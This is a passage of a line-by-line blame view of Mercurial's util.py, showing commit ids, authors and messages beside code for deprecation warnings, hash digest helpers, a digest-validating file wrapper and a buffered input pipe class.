cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
199
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
201 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
202 if _dowarn:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
203 msg += (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
204 b"\n(compatibility will be dropped after Mercurial-%s,"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
205 b" update your code.)"
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
206 ) % version
36128
02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents: 36038
diff changeset
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
44989
7af5c1f5b3a0 util: flush stderr explicitly after using warnings.warn()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44868
diff changeset
208 # on python 3 with chg, we will need to explicitly flush the output
7af5c1f5b3a0 util: flush stderr explicitly after using warnings.warn()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 44868
diff changeset
209 sys.stderr.flush()
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
210
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
211
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
212 DIGESTS = {
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
213 b'md5': hashlib.md5,
44060
a61287a95dc3 core: migrate uses of hashlib.sha1 to hashutil.sha1
Augie Fackler <augie@google.com>
parents: 44035
diff changeset
214 b'sha1': hashutil.sha1,
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
215 b'sha512': hashlib.sha512,
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
216 }
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
217 # List of digest types from strongest to weakest
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
218 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
219
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
220 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
221 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
222
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
223
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
224 class digester(object):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
225 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
226
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
227 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
228
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
229 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
230 >>> d.update(b'foo')
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
231 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
232 ['md5', 'sha1']
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
233 >>> d[b'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
234 'acbd18db4cc2f85cedef654fccc4a4d8'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
235 >>> d[b'sha1']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
236 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
237 >>> digester.preferred([b'md5', b'sha1'])
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
238 'sha1'
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
239 """
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
240
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
241 def __init__(self, digests, s=b''):
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
242 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
243 for k in digests:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
244 if k not in DIGESTS:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
245 raise error.Abort(_(b'unknown digest type: %s') % k)
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
246 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
247 if s:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
248 self.update(s)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
249
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
250 def update(self, data):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
251 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
252 h.update(data)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
253
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
254 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
255 if key not in DIGESTS:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
256 raise error.Abort(_(b'unknown digest type: %s') % k)
46113
59fa3890d40a node: import symbols explicitly
Joerg Sonnenberger <joerg@bec.de>
parents: 45942
diff changeset
257 return hex(self._hashes[key].digest())
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
258
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
259 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
260 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
261
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
262 @staticmethod
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
263 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
264 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
265
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
266 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
267 if k in supported:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
268 return k
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
269 return None
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
270
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
271
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
272 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
273 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
274 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
275
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
276 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
277
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
278 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
279 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
280
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
281 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
282 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
283 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
284 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
285 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
286 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
287
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
288 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
289 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
290 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
291 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
292 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
293
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
294 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
295 if self._size != self._got:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
296 raise error.Abort(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
297 _(b'size mismatch: expected %d, got %d')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
298 % (self._size, self._got)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
299 )
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
300 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
301 if v != self._digester[k]:
23076
c312ef382033 i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents: 23030
diff changeset
302 # i18n: first parameter is a digest name
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
303 raise error.Abort(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
304 _(b'%s mismatch: expected %s, got %s')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
305 % (k, v, self._digester[k])
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
306 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
307
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
308
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
309 try:
15657
d976b1ef6760 util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents: 15656
diff changeset
310 buffer = buffer
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
311 except NameError:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
312
33549
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
313 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
314 if length is not None:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
315 return memoryview(sliceable)[offset : offset + length]
33549
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
316 return memoryview(sliceable)[offset:]
10756
cb681cc59a8d util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents: 10487
diff changeset
317
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
318
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
319 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
320
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
321
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
322 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
323 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
324
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
325 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
326 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
327 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
328
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
329 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
330 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
331 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
332
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
333 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
334 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
335 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
336
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
337 def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
338 # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
339 # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
340 if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
341 cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
342
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
343 return super(bufferedinputpipe, cls).__new__(cls)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
344
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
345 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
346 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
347 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
348 self._eof = False
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
349 self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
350
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
351 @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
352 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
353 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
354
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
355 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
356 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
357 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
358
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
359 @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
360 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
361 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
362
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
363 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
364 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
365
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
366 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
367 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
368
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
369 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
370 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
371 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
372 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
373
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
374 def unbufferedread(self, size):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
375 if not self._eof and self._lenbuf == 0:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
376 self._fillbuffer(max(size, _chunksize))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
377 return self._frombuffer(min(self._lenbuf, size))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
378
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
379 def readline(self, *args, **kwargs):
40029
e2697acd9381 cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents: 39905
diff changeset
380 if len(self._buffer) > 1:
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
381 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
382 # _frombuffer call that collapse it.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
383 self._buffer = [b''.join(self._buffer)]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
384 self._lenbuf = len(self._buffer[0])
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
385 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
386 if self._buffer:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
387 lfi = self._buffer[-1].find(b'\n')
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
388 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
389 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
390 if self._buffer:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
391 lfi = self._buffer[-1].find(b'\n')
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
392 size = lfi + 1
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
393 if lfi < 0: # end of file
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
394 size = self._lenbuf
40029
e2697acd9381 cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents: 39905
diff changeset
395 elif len(self._buffer) > 1:
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
396 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
397 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
398 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
399
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
400 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
401 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
402
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
403 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
